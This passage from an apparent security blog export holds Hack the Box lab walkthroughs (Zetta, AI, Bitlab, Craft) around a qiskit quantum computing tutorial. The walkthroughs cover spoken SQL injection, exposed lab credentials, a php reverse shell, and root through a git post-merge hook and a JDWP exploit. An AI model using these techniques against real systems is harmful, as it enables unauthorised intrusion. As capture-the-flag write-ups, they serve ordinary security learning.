AAAAB3NzaC1yc2EAAAADAQABAAABAQCr2BPHlixOqPa/cIzYufceN3xIqJVtpUrPwWh0kPwparSO7bCHpuU/ZmMw/wEOSEYqu68MuwH8Qqj7YwaPolU3UJK6toX598y9swOPrKmnZMBdIycMtp4ANw2+75tXQ8AiP1YKHRwTgDg8QC40l396Be45gq2c+u6vTJ2LhbJh4zteGVGg4aIziDl/b7DUA5MKh6oxa4s52D6C9CBrSziYsLzkL+UOCPC63uzIWc+BiteZkek9xJodUxidjlnWO52vZz/2ZXAu7j7RAcdr4bHY/UzZbAYCTAVpHZLdVYkZYoxMnYb5/xw7ONxgWSsuOUWjEAXgBL7PoHZd2VRbeKwn root@kali\" Great! Now let's see if this was successful by attempting to SSH in. One step closer... almost there, hopefully. As user postgres we have access to some additional postgres config files we did not previously. postgres@zetta:~$ cat .psql_history CREATE DATABASE syslog; \\c syslog CREATE TABLE syslog_lines ( ID serial not null primary key, CustomerID bigint, ReceivedAt timestamp without time zone NULL, DeviceReportedTime timestamp without time zone NULL, Facility smallint NULL, Priority smallint NULL, FromHost varchar(60) NULL, Message text, NTSeverity int NULL, Importance int NULL, EventSource varchar(60), EventUser varchar(60) NULL, EventCategory int NULL, EventID int NULL, EventBinaryData text NULL, MaxAvailable int NULL, CurrUsage int NULL, MinUsage int NULL, MaxUsage int NULL, InfoUnitID int NULL , SysLogTag varchar(60), EventLogType varchar(60), GenericFileName VarChar(60), SystemID int NULL); \\d syslog_lines ALTER USER postgres WITH PASSWORD 'sup3rs3cur3p4ass@postgres'; postgres@zetta:~$ Now I attempted to use the password with the postgres user to see if we could confirm it was working. Unfortunately postgres' password seemed to have been changed by this point. Let's file it away as we look around a bit more. After what felt way too long I started going back to previous points of investigation. If we take a look at the tudu list once more we can figure out a very interesting tidbit. That seems suspiciously like the format of the password we saw in the .psql_history. Interesting...very interesting. Let's see if it can be as easy as replacing the userid portion to \"root\" and attempting log in as root using the password sup3rs3cur3p4ass@root. Bam! Thus finishes the saga of Zetta. As mentioned at the start of the article this was so far the most involved machine I have gone through in HTB. I thoroughly enjoyed every moment of it and look forward to further machines of this nature. With that said, thanks folks, until next time! Extra fun A little extra note about this machine. I will be holding a \"Gamified InfoSec Learning\" workshop for local university students in a few weeks. I plan on using Zetta and this walkthrough to go through the practical portion of the workshop with the students. Look forward to seeing a writeup and extra material once the workshop is completed." }, { "title": "Quantum Computing - Hello World", "url": "/quantum-computing/2020/02/09/quantum-computing-helloworld/", "categories": "quantum-computing", "tags": "qiskit, quantum-computing, quantum-gates", "date": "2020-02-09 07:00:00 -0500", "content": "Introduction Quantum Computing has long interested me - I mention the topic glancingly in my about page when I mentioned \"where we are headed\" in reference to the future of cryptographic systems. Since those teenage years I have refined that interest in an attempt to understand the underlying mechanics, the theoretical applications, and now their practical implementations. I am by no stretch of the imagination an expert on the topic and I appologize ahead of time for any glaring errors or omissions. There is no easy way to play with quantum computing - or at least that is what I thought. I was recently introduced to qiskit, a framework that allows individuals to program and interact with quantum circuits through simulation and this completely opened my mind to further posibilities. This article is my attempt to demystify basic quantum computing concepts and allow individuals an opportunity to step through a simplistic practical implementation using qiskit with enough knowledge to be able to continue exploring themselves. Quantum Concepts Before we start talking about quantum gates and how to code quantum circuits practically, we need to start with some basic concepts. Qubit The qubit is the basic unit quantum information - the quantum equivalent of the binary digit we are used to in computer science. A qubit represents a two-state quantum mechanical system and it can be represented by the spin of a single electron such as spin up or spin down - or the quantum state. This is represented mathematically by orthonormal basis states, usually denoted as: $$ \\begin{align*} \\left| 0 \\right&gt; = \\left[ \\begin{array}{c} 1 \\\\ 0 \\end{array} \\right] &amp; \\space \\space \\space \\left| 1 \\right&gt; = \\left[ \\begin{array}{c} 0 \\\\ 1 \\end{array} \\right] \\end{align*} $$ \"Bra-ket\" notation is used as common notation within quantum mechanics. \\(\\left| 0 \\right&gt;\\) and \\(\\left| 1 \\right&gt;\\) can be references as \"ket 0\" and \"ket 1\" and denote a vector in an abstract space. Superposition While a classical binary bit is always exactly either a 0 or 1 a qubit can simultaneously be both \\(\\left| 0 \\right&gt;\\) or \\(\\left| 1 \\right&gt;\\) - otherwise called a superposition of both states. A qubit can be in one of two states and the general state is a combination, or coherent superposition, of these possibilities. A pure qubit state can therefore be represented as: $$ \\begin{align*} \\left| \\psi \\right&gt; = \\alpha\\left| 0 \\right&gt; + \\beta \\left| 1 \\right&gt; \\end{align*} $$ Where \\(\\alpha\\) and \\(\\beta\\) represent complex number coefficients that describe how much goes into each ket. Entanglement Another difference between classical bits and quantum qubits is the ability for qubits to become entangled. Entanglement can be considered a strong correlation between quantum particles to the point that they are perfectly linked even at large distances. This happens when a group of particles can only be described by the quantum state of the system rather than the individual quantum state of the particles. To expand on the concept let's use the example of a two qubit Bell state. Mathematically this would be represented as: $$ \\begin{align*} \\left|\\phi^+\\right&gt; = \\frac{1}{\\sqrt{2}}(\\left|00\\right&gt; + \\left|11\\right&gt;) \\end{align*} $$ Where there is an equal probability that the overall state is measured as \\(\\left|00\\right&gt;\\) or \\(\\left|11\\right&gt;\\). We don't know the what the first qubit would be, however we do know that they are linked. If the qubits are separated and the first is measured as a \\(\\left|0\\right&gt;\\), then the second qubit will also be \\(\\left|0\\right&gt;\\). We will go through a practical example of how this works later on when we work with qiskit. Now that we have a basic understanding of the fundamentals, let us move on to how to leverage these concepts through quantum logical gates. Quantum Gates Before we finally get to the practical coding we will suffer through a little bit more math. Rather than just take the assumption that a logic gate performs a specific action as is, I wanted to take the opportunity and go through the \"how\" it actually works. This is not necessarily required to leverage the gate in a practical coding situation, yet I believe going through the math behind the action helps contextualize the code more clearly in future sections. Similar to how classic logic gates form larger digital circuits, quantum logic gates operate on a small number of qubits and can be joined together to form quantum circuits. Pauli X Gate Starting off with a quantum gate that translates conceptually well to a classical equivalent - the Pauli X gate. Acting on a single qubit the Pauli X gate is the quantum equivalent of the classic NOT gate. Mathematically it is represented as: $$ \\begin{align*} \\mathbb X = \\begin{bmatrix} 0 &amp; 1 \\\\ 1 &amp; 0 \\end{bmatrix} \\end{align*} $$ We can step through two iterations to show exactly how it operates on qubits. $$ \\begin{align*} \\mathbb X\\left|0\\right&gt; = \\begin{bmatrix} 0 &amp; 1 \\\\ 1 &amp; 0 \\end{bmatrix} \\left|0\\right&gt; = \\begin{bmatrix} 0 &amp; 1 \\\\ 1 &amp; 0 \\end{bmatrix} \\begin{bmatrix} 1 \\\\ 0 \\end{bmatrix} = \\begin{bmatrix} 0 \\\\ 1 \\end{bmatrix} = \\left|1\\right&gt; \\end{align*} $$ And if we start with a ket 1: $$ \\begin{align*} \\mathbb X\\left|1\\right&gt; = \\begin{bmatrix} 0 &amp; 1 \\\\ 1 &amp; 0 \\end{bmatrix} \\left|1\\right&gt; = \\begin{bmatrix} 0 &amp; 1 \\\\ 1 &amp; 0 \\end{bmatrix} \\begin{bmatrix} 0 \\\\ 1 \\end{bmatrix} = \\begin{bmatrix} 1 \\\\ 0 \\end{bmatrix} = \\left|0\\right&gt; \\end{align*} $$ As we can see, applying a Pauli X gate to a qubit \"bit flips\" it with respect to the standard basis \\(\\left|0\\right&gt;\\) and \\(\\left|1\\right&gt;\\). Hadamard Gate The Hadamard gate brings to life the concept of superposition. The premise is simple - no matter whether we start with a ket 0 or a ket 1, by going through the Hadamard gate, the output will be in a superposition state. Let's start with defining the gate in its mathematical equivalent: $$ \\begin{align*} \\mathbb H = \\frac{1}{\\sqrt{2}} \\begin{bmatrix} 1 &amp; 1 \\\\ 1 &amp; -1 \\end{bmatrix} \\end{align*} $$ Now how does this make either a \\(\\left|0\\right&gt;\\) or \\(\\left|1\\right&gt;\\) become a superposition? Let us step through both examples and see. First what happens when the Hadamard gate is applied on \\(\\left|0\\right&gt;\\): $$ \\begin{align*} \\mathbb H\\left|0\\right&gt;\\ = \\frac{1}{\\sqrt{2}} \\begin{bmatrix} 1 &amp; 1 \\\\ 1 &amp; -1 \\end{bmatrix} \\left|0\\right&gt; = \\frac{1}{\\sqrt{2}} \\begin{bmatrix} 1 &amp; 1 \\\\ 1 &amp; -1 \\end{bmatrix} \\begin{bmatrix} 1 \\\\ 0 \\end{bmatrix} \\end{align*} $$ Which ultimately comes out to: $$ \\begin{align*} \\frac{1}{\\sqrt{2}} \\begin{bmatrix} 1 \\\\ 1 \\end{bmatrix} = \\begin{bmatrix} \\frac{1}{\\sqrt{2}} \\\\ \\frac{1}{\\sqrt{2}} \\end{bmatrix} \\end{align*} $$ What this means is that the qubit now has a \\(\\begin{pmatrix}\\frac{1}{\\sqrt{2}}\\end{pmatrix}^2 = \\frac{1}{2}\\) chance of being \\(\\left| 0 \\right&gt;\\) and a \\(\\begin{pmatrix}\\frac{1}{\\sqrt{2}}\\end{pmatrix}^2 = \\frac{1}{2}\\) chance of being \\(\\left| 1 \\right&gt;\\). Essentially, it has an equal chance of being either and is considered in a state of superposition. Now, if we similarly apply a Hadamard gate on \\(\\left|1\\right&gt;\\): $$ \\begin{align*} \\mathbb H\\left|1\\right&gt;\\ = \\frac{1}{\\sqrt{2}} \\begin{bmatrix} 1 &amp; 1 \\\\ 1 &amp; -1 \\end{bmatrix} \\left|1\\right&gt; = \\frac{1}{\\sqrt{2}} \\begin{bmatrix} 1 &amp; 1 \\\\ 1 &amp; -1 \\end{bmatrix} \\begin{bmatrix} 0 \\\\ 1 \\end{bmatrix} \\end{align*} $$ Then this comes out to: $$ \\begin{align*} \\frac{1}{\\sqrt{2}} \\begin{bmatrix} 1 \\\\ -1 \\end{bmatrix} = \\begin{bmatrix} \\frac{1}{\\sqrt{2}} \\\\ \\frac{-1}{\\sqrt{2}} \\end{bmatrix} \\end{align*} $$ Similar to before, this means that the qubit has a \\(\\begin{pmatrix}\\frac{1}{\\sqrt{2}}\\end{pmatrix}^2 = \\frac{1}{2}\\) chance of being \\(\\left| 0 \\right&gt;\\) and a \\(\\begin{pmatrix}\\frac{-1}{\\sqrt{2}}\\end{pmatrix}^2 = \\frac{1}{2}\\) chance of being \\(\\left| 1 \\right&gt;\\). A state of superposition. CNOT Gate Alright, let's knock it up a knotch! So far we have looked at two gates that operate on a single qubit. The CNOT gate works on 2 or more qubits (we will keep it to two for this example) and additionally implements the concept of entanglement. Assuming two qubits that are passed through \\(\\mathbb H\\) gates we can reasonably assume that both qubits can be either \\(\\left|0\\right&gt;\\) or \\(\\left|1\\right&gt;\\) and there is no entanglement between the qubits. Therefore the overall state can equally represented by the basis \\(\\left|00\\right&gt;\\),\\(\\left|01\\right&gt;\\),\\(\\left|10\\right&gt;\\),\\(\\left|11\\right&gt;\\). A CNOT gate works by using the first qubit as a control and the second qubit as the target. When the first qubit is evaluated as \\(\\left|1\\right&gt;\\) the gate performs a NOT on the second qubit. Otherwise when the first control qubit is \\(\\left|0\\right&gt;\\) the target qubit is left unchanged. Mathematically the CNOT gate can be defined as follows using the same above basis: $$ \\begin{align*} \\mathbb Cnot = \\begin{bmatrix} 1 &amp; 0 &amp; 0 &amp; 0 \\\\ 0 &amp; 1 &amp; 0 &amp; 0 \\\\ 0 &amp; 0 &amp; 0 &amp; 1 \\\\ 0 &amp; 0 &amp; 1 &amp; 0 \\end{bmatrix} \\end{align*} $$ Now let us step through the examples. $$ \\begin{align*} \\mathbb Cnot\\left|00\\right&gt; = \\begin{bmatrix} 1 &amp; 0 &amp; 0 &amp; 0 \\\\ 0 &amp; 1 &amp; 0 &amp; 0 \\\\ 0 &amp; 0 &amp; 0 &amp; 1 \\\\ 0 &amp; 0 &amp; 1 &amp; 0 \\end{bmatrix} \\begin{bmatrix} 1 \\\\ 0 \\\\ 0 \\\\ 0 \\end{bmatrix} = \\begin{bmatrix} 1 \\\\ 0 \\\\ 0 \\\\ 0 \\end{bmatrix} = \\left|00\\right&gt; \\end{align*} $$ $$ \\begin{align*} \\mathbb Cnot\\left|01\\right&gt; = \\begin{bmatrix} 1 &amp; 0 &amp; 0 &amp; 0 \\\\ 0 &amp; 1 &amp; 0 &amp; 0 \\\\ 0 &amp; 0 &amp; 0 &amp; 1 \\\\ 0 &amp; 0 &amp; 1 &amp; 0 \\end{bmatrix} \\begin{bmatrix} 0 \\\\ 1 \\\\ 0 \\\\ 0 \\end{bmatrix} = \\begin{bmatrix} 0 \\\\ 1 \\\\ 0 \\\\ 0 \\end{bmatrix} = \\left|01\\right&gt; \\end{align*} $$ So far so good. When the first qubit is \\(\\left|0\\right&gt;\\) the second qubit is not touched. Now let us perform the remaining two iterations when the first qubit is \\(\\left|1\\right&gt;\\). $$ \\begin{align*} \\mathbb Cnot\\left|10\\right&gt; = \\begin{bmatrix} 1 &amp; 0 &amp; 0 &amp; 0 \\\\ 0 &amp; 1 &amp; 0 &amp; 0 \\\\ 0 &amp; 0 &amp; 0 &amp; 1 \\\\ 0 &amp; 0 &amp; 1 &amp; 0 \\end{bmatrix} \\begin{bmatrix} 0 \\\\ 0 \\\\ 1 \\\\ 0 \\end{bmatrix} = \\begin{bmatrix} 0 \\\\ 0 \\\\ 0 \\\\ 1 \\end{bmatrix} = \\left|11\\right&gt; \\end{align*} $$ $$ \\begin{align*} \\mathbb Cnot\\left|11\\right&gt; = \\begin{bmatrix} 1 &amp; 0 &amp; 0 &amp; 0 \\\\ 0 &amp; 1 &amp; 0 &amp; 0 \\\\ 0 &amp; 0 &amp; 0 &amp; 1 \\\\ 0 &amp; 0 &amp; 1 &amp; 0 \\end{bmatrix} \\begin{bmatrix} 0 \\\\ 0 \\\\ 0 \\\\ 1 \\end{bmatrix} = \\begin{bmatrix} 0 \\\\ 0 \\\\ 1 \\\\ 0 \\end{bmatrix} = \\left|10\\right&gt; \\end{align*} $$ As we can see the second qubit is indeed flipped. Alright no more pure math, I promise! With the understanding we have come to above we can now move on to the practical implementation and using qiskit to run our very own quantum circuits. Qiskit Framework Qiskit defines itself as \"an open-source quantum computing software development framework for leveraging today's quantum processors\". It is a a python framework that allows us to develop, graph, and simulate quantum computing circuits locally while also providing a way to integrate with IBMQ - running our developed circuits on physical quantum computers distributed around the world. This was a game changer for me. I have been reading Quantum Computing papers on and off for awhile now, however this was purely conceptual and when trying to understand how it would work in a practical sense I would fall a bit short. Qiskit allowed me to take those concepts and do exactly that - apply them in a practical scenario, albeit it a simulated environment locally. Environment Setup Getting the framework setup was probably the simplest part of this entire exercise. Qiskit itself has a get started page and it essentially boils down to two module installs. pip install qiskit pip install qiskit-terra[visualization] Once complete you can run a quick command to validate the install is valid and to show the various component versions. At the time of writing these are the most recent versions available. Python 3.7.2 (tags/v3.7.2:9a3ffc0492, Dec 23 2018, 23:09:28) [MSC v.1916 64 bit (AMD64)] on win32 Type \"help\", \"copyright\", \"credits\" or \"license\" for more information. &gt;&gt;&gt; import qiskit &gt;&gt;&gt; qiskit.__qiskit_version__ {'qiskit-terra': '0.12.0', 'qiskit-aer': '0.4.0', 'qiskit-ignis': '0.2.0', 'qiskit-ibmq-provider': '0.4.6', 'qiskit-aqua': '0.6.4', 'qiskit': '0.15.0'} Hadamard example With our environment setup, time to start coding! Let us start with a basic one qubit setup and apply a Hadamard gate to it. from qiskit import QuantumCircuit,execute,Aer # Use Aer's qasm_simulator simulator = Aer.get_backend('qasm_simulator') # Create a Quantum Circuit acting on the q register and a classical measure bit c circuit = QuantumCircuit(1, 1) # Add a H gate on qubit 0 circuit.h(0) # pylint: disable=no-member # Map the quantum measurement to the classical bits circuit.measure([0], [0]) # pylint: disable=no-member # print the circuit print(circuit) The fun part of qiskit is the ability to graph out the circuits you design. Before we show an example, let us expand by adding one element and explaining the classical bit in the circuit. QuantumCircuit(1, 1) creates a circuit with one qubit and one classical bit. Secondly, we add the Hadamard gate to the qubit 0. We then measure qubit 0 and put the result into the classical bit 0. Lastly, we print out the object which gives us the graphical representation. If we graph out the above simplistic graph we get the following. In this case we are not actually executing anything - we are only building the circuit. Let's add a few lines of code to execute a few runs through the circuit. When a qubit is initialized it is done so as \\(\\left|0\\right&gt;\\). If we pass this through the Hadamard gate we proved that when we measure the output, it will have equal chance of being measured as \\(\\left|0\\right&gt;\\) or \\(\\left|1\\right&gt;\\). Let us see if we can demonstrate this. job = execute(circuit, simulator, shots=100) result = job.result() counts = result.get_counts(circuit) print(\"Total counts are:\",counts) Sure enough we get approximately the same results we can expect by flipping a coin 100 times. Pauli X example Now let us demonstrate a Pauli X gate in action. With a similar setup as above, instead of passing the qubit through a Hadamard gate let us pass it through a Pauli X gate. from qiskit import QuantumCircuit,execute,Aer simulator = Aer.get_backend('qasm_simulator') circuit = QuantumCircuit(1, 1) # Add a Pauli X gate to qubit 0 circuit.x(0) # pylint: disable=no-member circuit.measure([0], [0]) # pylint: disable=no-member print(circuit) job = execute(circuit, simulator, shots=100) result = job.result() counts = result.get_counts(circuit) print(\"Total counts are:\",counts) CNOT example To implement a CNOT gate we will need to expand our circuit to have two qubits and two classical measurement bits. We will run the first qubit through a Hadamard gate to create a superposition state. We will then run that qubit through a CNOT gate as the control qubit with the second qubit, which is initialized as \\(\\left|0\\right&gt;\\), as the target qubit of the gate. circuit = QuantumCircuit(2, 2) circuit.h(0) # pylint: disable=no-member circuit.cx(0, 1) # pylint: disable=no-member circuit.measure([0,1], [0,1]) # pylint: disable=no-member print(circuit) job = execute(circuit, simulator, shots=100) result = job.result() counts = result.get_counts(circuit) print(\"Total counts are:\",counts) Based on the output of the run you may have noticed something interesting. With a qubit having been applied a Hadamard gate and the second qubit initialized as \\(\\left|0\\right&gt;\\), the output is an initialized Bell state. We briefly touched on the topic in a previous section, however let us explore this a bit further. We know that a Bell state allows two or more qubits to become entangled. That means that if we were to measure one of the two qubits we should be able to gather information on the other qubit without having to measuring it. It then becomes evident that if we run the same CNOT circuit as above and measure only one of the two qubits, we intrinsically know the value of the other. This is a simplified statement as there are more theoretical ramafications to this measurement, however I wanted to keep the scope of this article to the practical code. Next Steps The Bell state is important to understand as it forms the setup of many more advanced topics - more pointedly quantum cryptography. While I do not personally have enough understanding to tackle the topic currently, I do plan on continuing these studies and attempt to journey down the rabbit hole. I plan on exploring and attempting to replicate Quantum Key Distribution - specifically the EE84 and E91 algorithms. While there are theoretical issues discussed surrounding the efficiency of QKD compared to the classical equivalents, I believe it is a natural next step to develop further quantum computing knowledge. As always thanks folks, until next time!" }, { "title": "Hack the Box - AI", "url": "/hack-the-box/2020/02/04/htb-machine-ai/", "categories": "hack-the-box", "tags": "htb, ai, text-to-voice, jdwp", "date": "2020-02-04 16:00:00 -0500", "content": "Introduction AI was an interesting machine recently retired by HTB. The initial portions were more frustrating than complicated and reminded me of the daily struggle of dealing with various home assistants. Once a foothold was established privesc to root involved abusing a java debugging process running on localhost. As usual this was another HTB machine that gave me an opportunity to work with technology that I had not touched before and I overall enjoyed the journey. Initial Recon As we always do, let's kick off with an nmap scan of the host to see what we can find. root@kali:~/Desktop/HTB/AI# nmap -sV -sV -p- 10.10.10.163 Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-13 21:19 EST Nmap scan report for 10.10.10.163 Host is up (0.029s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Alright not all that much. There does seem to be an Apache instance running on port 80, so let's take a look at what is running on there. The most interesting page so far is the db.php page. For a little bit of further recon I also ran a quick scan of the site to see if we could get any extra hits. Sure enough we got some interesting results. root@kali:~/Desktop/HTB/AI# dirb http://10.10.10.163 /usr/share/dirb/wordlists/common.txt -X .php ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Nov 13 21:46:17 2019 URL_BASE: http://10.10.10.163/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt EXTENSIONS_LIST: (.php) | (.php) [NUM = 1] ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.163/ ---- + http://10.10.10.163/about.php (CODE:200|SIZE:37503) + http://10.10.10.163/contact.php (CODE:200|SIZE:37371) + http://10.10.10.163/db.php (CODE:200|SIZE:0) + http://10.10.10.163/index.php (CODE:200|SIZE:37347) + http://10.10.10.163/intelligence.php (CODE:200|SIZE:38674) ----------------- END_TIME: Wed Nov 13 21:48:22 2019 DOWNLOADED: 4612 - FOUND: 5 Very interesting. Looks like it is giving us a general syntax for a voice-to-text usage. Let's try and leverage a local utility, flite. I assumed at this point that we would need to leverage voice-to-text to perform some form of SQL injection. Let's see if we can get any useful output. User exploitation Funny enough I accidentally stumbled on to an error message based on one of my initial attempts. Ok so we know it is running MySQL under the hood. Unfortunately I was having quite a bit of issues with getting the proper text to be understood properly. It was only once I came across this Microsoft article that I had the proper tips to get the text translated correctly. Funny enough \"username\" was not being translated properly so I had to take artistic liberties on the spelling and it finally worked. root@kali:~/Desktop/HTB/AI# echo \"open single quote union select Yusername from users Comment Database\" &gt; test6.txt root@kali:~/Desktop/HTB/AI# flite -voice rms -f test6.txt -o test6.wav Excellent! Alright now all we need is the password. Let's assume there is a password entry in the same user table. root@kali:~/Desktop/HTB/AI# echo \"Open single quote; union select; password FROM users Comment Database\" &gt; test7.txt root@kali:~/Desktop/HTB/AI# flite -voice rms -f test7.txt -o test7.wav Bam! Alright we should have a proper set of credentials now - alexa / H,Sq9t6}a&lt;)?q93_. Let's try getting on to the host. And just like that user is owned. On to root! Root exploitation Once on the box I moved over a few enumeration scripts - namely lse and pspy. After some poking around I found an interesting process running on the host. Based on the jdpa mention I was able to deduce it was related to Java Platform Debugger Architecture. Following the process calls and we can see that it is running on port 8000 and is related to JDWP. A quick search later and we have more details on the process running from the Oracle JPDA documentation. -agentlib:jdwp=transport=dt_socket, server=y,address=localhost:8000, timeout=5000 Listen for a socket connection on port 8000 on the loopback address only. Terminate if the debugger does not attach within 5 seconds. Suspend this VM before main class loads (suspend=y by default). Once the debugger application connects, it can send a JDWP command to resume the VM. Based on the documentation and the process output the only difference is that our host does not have suspend set suspend=n. Alright now that we have a better understanding of what is happening how will that help us? A quick look around for any low hanging fruit and we find an existing exploit. I got the code over to the host and kicked it off. I'm not entirely sure _why_ I decided to go straight for the flag instead of initiating a root shell, however that decision ended up requiring triggering the exploit twice with different payloads due to an entitlements oversight of copying the flag. Hindsight is always 20/20 they say. Well that's annoying... let's change those entitlements. And just like that AI is in the books. Thanks folks, until next time!" }, { "title": "Hack the Box - Bitlab", "url": "/hack-the-box/2020/01/11/htb-machine-bitlab/", "categories": "hack-the-box", "tags": "htb, gitlab, hooks", "date": "2020-01-11 07:00:00 -0500", "content": "Introduction Bitlab was a fun little box that has us work through gitlab based exploitation. From erroneously stored user credentials, to uploading and merging our own files to the project, to finally exploiting hooks to execute our own code as root, this box was a good overview of various gitlab functionality. Marked as a medium box by hackthebox I feel this box had an appropriate difficulty score. If you were familiar with git workflows this should be on the easier side, however if you are stepping into this for the first time a bit of research would be required to understand what is happening. Initial Recon Starting it off with our regular nmap scan: root@kali:~# nmap -sV -sC 10.10.10.114 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-20 10:14 EDT Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan NSE Timing: About 0.00% done Nmap scan report for 10.10.10.114 Host is up (0.017s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA) | 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA) |_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519) 80/tcp open http nginx | http-robots.txt: 55 disallowed entries (15 shown) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/*/edit /users /help |_/s/ /snippets/new /snippets/*/edit |_http-server-header: nginx | http-title: Sign in \\xC2\\xB7 GitLab |_Requested resource was http://10.10.10.114/users/sign_in |_http-trane-info: Problem with XML parsing of /evox/about Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Since there seems to be a Gitlab instance setup on port 80, let's open burp and see what we can find on the site. Doing some initial poking around we end up at the help page, which upon close look has something quite interesting within it. That last JS snippet seems like it's worth investigating. The full code ends up being: &lt;DT&gt;&lt;A HREF=\"javascript:(function() { var _0x4b18=[&amp;quot;\\x76\\x61\\x6C\\x75\\x65&amp;quot;, &amp;quot;\\x75\\x73\\x65\\x72\\x5F\\x6C\\x6F\\x67\\x69\\x6E&amp;quot;, &amp;quot;\\x67\\x65\\x74\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x42\\x79\\x49\\x64&amp;quot;, &amp;quot;\\x63\\x6C\\x61\\x76\\x65&amp;quot;, &amp;quot;\\x75\\x73\\x65\\x72\\x5F\\x70\\x61\\x73\\x73\\x77\\x6F\\x72\\x64&amp;quot;, &amp;quot;\\x31\\x31\\x64\\x65\\x73\\x30\\x30\\x38\\x31\\x78&amp;quot;]; document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()\" ADD_DATE=\"1554932142\"&gt;Gitlab Login&lt;/A&gt; If we strip down the hex values and convert them we can now see a user login/password combination - clave / 11des0081x. User exploitation Using the credentials discovered above we are able to get into the console as clave. A quick poke around and looks like he has a Developer role on the project Administrator / Profile. After examining the project a bit we realize that while we can't upload directly to the master branch our user clave has merge rights. We could in theory create a separate branch, upload our php reverse shell script and the approve the merge request as clave. Sure enough, this was quickly accomplished and we managed to get a reverse shell up and running. root@kali:~# nc -lnvp 1337 Listening on [0.0.0.0] (family 2, port 1337) Connection from 10.10.10.114 56868 received! Linux bitlab 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17 15:39:52 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux 15:04:25 up 6 min, 1 user, load average: 1.78, 1.11, 0.62 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT clave pts/0 10.10.15.14 15:02 1.00s 0.00s 0.00s -bash uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) Unfortunately www-data was not our true user in this case. With that said however we are able to escalate directly to root from www-data and retroactively get the user.txt flag. Root exploitation As part of the initial enumeration once getting the www-data shell we notice an interesting sudo rule: www-data@bitlab:/home/clave$ sudo -l sudo -l Matching Defaults entries for www-data on bitlab: env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User www-data may run the following commands on bitlab: (root) NOPASSWD: /usr/bin/git pull www-data@bitlab:/home/clave$ So we are able to run git pull straight as root?! Now we're talking. Quickly looked at what git repos were hosted locally that we may not have seen previously from the web portal. www-data@bitlab:/var/tmp$ find / -type d -name \".git\" 2&gt; /dev/null find / -type d -name \".git\" 2&gt; /dev/null /srv/apps/profile/.git /var/www/html/profile/.git /var/www/html/deployer/.git At this point I somewhat knew what needed to happen. I copied over an existing repo to a folder we had the ability to modify. www-data@bitlab:/var/tmp$ cp -r /var/www/html/profile . Since we are able to run git pull as root, we can assume that any hooks triggered by the command would also be run as root. This githook reference documentation goes into details with the various hooks available. Since we are interested in git pull hooks we quickly learn that while there isn't a direct pull hook, every pull will trigger a post-merge hook. post-merge - This hook is invoked by git-merge[1], which happens when a git pull is done on a local repository. ... The post-merge hook runs after a successful merge command. You can use it to restore data in the working tree that Git can’t track, such as permissions data. This hook can likewise validate the presence of files external to Git control that you may want copied in when the working tree changes. Alright, so if we manage to control that hook with our own script, we should be able to run something directly as root. Let's see if we can call a reverse shell this way. With a local listener ready, sure enough we get a hit! Gather the root.txt flag and retroactively the user.txt flag as well. And just like that Bitlab is in the books. Thanks folks. Until next time." }, { "title": "Hack the Box - Craft", "url": "/hack-the-box/2020/01/07/htb-machine-craft/", "categories": "hack-the-box", "tags": "htb, gogs, rce, docker, vault", "date": "2020-01-07 16:00:00 -0500", "content": "Introduction Craft was a well designed moderate box from HTB that exemplified bad coding practice, sensitive data disclosures and token abuse into root. From a technical standpoint this machine did not introduce any drastic new concepts however I did enjoy the thought that went into the box and it allowed me a chance to be hands-on with the VaultProject solution. Let's dive right into it. Initial Recon As per usual we start off with enumerating the machine using NMAP. root@kali:~# nmap -sV -sT -sC 10.10.10.110 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-12 15:14 EDT Nmap scan report for 10.10.10.110 Host is up (0.023s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0) | ssh-hostkey: | 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA) | 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA) |_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519) 443/tcp open ssl/http nginx 1.15.8 |_http-server-header: nginx/1.15.8 |_http-title: About | ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US | Not valid before: 2019-02-06T02:25:47 |_Not valid after: 2020-06-20T02:25:47 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 | tls-nextprotoneg: |_ http/1.1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel The main page did not have anything useful at first look. Digging a bit under the hood we do discover that there are two additional domains. &lt;ul class=\"nav 